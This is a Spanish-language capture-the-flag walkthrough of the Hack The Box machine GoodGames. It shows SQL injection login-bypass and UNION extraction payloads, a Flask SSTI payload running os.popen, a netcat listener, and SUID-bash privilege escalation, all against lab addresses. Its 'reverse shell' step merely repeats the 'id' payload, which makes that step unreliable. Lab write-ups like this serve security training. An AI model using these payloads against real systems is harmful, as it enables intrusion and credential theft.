Walkthrough — GoodGames (Hack The Box)
Un recorrido completo y detallado de la máquina GoodGames de HTB, donde aprovechamos vulnerabilidades web para escalar hasta obtener acceso como root.
🔰 Introducción
GoodGames es una máquina de dificultad fácil, pero con una serie de pasos muy interesantes, que involucran inyecciones SQL, exposición de subdominios internos y explotación de plantillas en Flask.
- SO: Linux
- Dificultad: Easy
- Herramientas:
nmap
,burpsuite
,ffuf
,netcat
,python
🔍 Escaneo de puertos con Nmap
El primer paso en casi cualquier evaluación de seguridad es descubrir qué servicios están expuestos al exterior. Utilizamos nmap
, una herramienta fundamental en el reconocimiento de redes, para realizar un escaneo completo de puertos con detección de versiones y scripts por defecto:
nmap -sC -sV -p- -T4 10.10.11.130
-sC
: Usa los scripts por defecto de Nmap (como detectar versiones, scripts de seguridad, etc.)-sV
: Detecta la versión del servicio en ejecución en cada puerto.-p-
: Escanea todos los puertos (del 1 al 65535).-T4
: Aumenta la velocidad del escaneo.
Este escaneo nos proporciona un mapa inicial del sistema de destino. Descubrimos que el puerto 80 (HTTP) está abierto y ejecutando un servidor Apache junto con Werkzeug (usado comúnmente con Flask).
Comenzamos descubriendo los puertos abiertos con nmap
:
nmap -sC -sV -p- -T4 10.10.11.130
Nos revela el puerto 80
abierto, corriendo Apache con una aplicación web en Werkzeug/Python.
🌐 Acceso a la web principal
Visitamos el sitio web y nos encontramos con una interfaz de login. Sin embargo, el formulario impide usar direcciones de correo inválidas.
🧪 Modificando la petición con BurpSuite
Interceptamos la petición con Burp y modificamos el campo email
, intentando una inyección SQL.
email='admin' or 1=1 -- -&password=gueco
✅ Login exitoso como administrador
¡La inyección SQL funciona! Nos autentica como el usuario admin
.
🕵️♂️ Probando extracción con UNION
Probamos una consulta UNION SELECT
básica:
email=' union select 1,2,3,4-- -&password=gueco
Esto nos muestra datos internos.
🧠 Extracción de usuarios con CONCAT
Ahora, usamos CONCAT
para unir id
, name
, email
, password
y visualizarlo en la respuesta:
email=' union select 1,2,3,concat(id, ':', name, ':', email, ':', password) from user-- -&password=password
🔓 Rompiendo el hash MD5
El hash MD5 recuperado es crackeado fácilmente online, revelando la contraseña: superadministrator
.
🧭 Descubriendo un subdominio interno
En la parte superior del dashboard web, vemos un engranaje que enlaza a internal-administration.goodgames.htb
.
Lo añadimos al archivo /etc/hosts
.
🔐 Portal de login Flask Volt
El subdominio nos presenta un nuevo portal hecho en Flask.
🛠️ Interfaz de administración
Accedemos al dashboard administrativo tras autenticarnos como admin
.
🔍 SSTI en plantilla de perfil
Detectamos una vulnerabilidad SSTI (Server Side Template Injection) al modificar el nombre en el perfil.
{{ namespace.init.globals.os.popen(‘id’).read() }}
🎯 Preparando una reverse shell
Enviamos una reverse shell a nuestra máquina desde la vulnerabilidad SSTI:
{{ namespace.init.globals.os.popen(‘id’).read() }}
📞 Capturando la shell con netcat
Escuchamos en nuestro equipo con netcat
:
nc -lnvp 1234
🐚 Shell como root dentro del contenedor
¡Tenemos acceso root dentro del contenedor Docker!
🧾 Leyendo la flag de usuario
Entramos en el directorio del usuario augustus
y obtenemos user.txt
.
📡 Descubrimiento de red interna
Vemos que nuestra IP es 172.19.0.2
, lo cual sugiere una red interna. Intentamos conectar a 172.19.0.1
.
🔐 Conexión SSH al host
Utilizamos las credenciales descubiertas para conectarnos vía SSH al host principal desde el contenedor.
ssh augustus@172.19.0.1
🚪 Escalada con bash SUID
Creamos un binario de bash
, lo hacemos SUID y lo usamos para escalar privilegios:
cp /bin/bash .
chown root:root bash
chmod 4777 bash
👑 Shell privilegiada y flag de root
Ejecutamos el bash con -p
para obtener privilegios de root y leemos root.txt
.
./bash -p
cat /root/root.txt
🏁 Resumen final
Etapa | Resultado |
---|---|
Enumeración | Portal web con login vulnerable |
Explotación | SQLi para obtener hash y subdominio interno |
Escalada I | SSTI → Shell en contenedor como root |
Escalada II | SSH al host principal y bash SUID |
Flags | user.txt y root.txt |
Autor: gueco99
🧠 Hack the Box – GoodGames (Easy)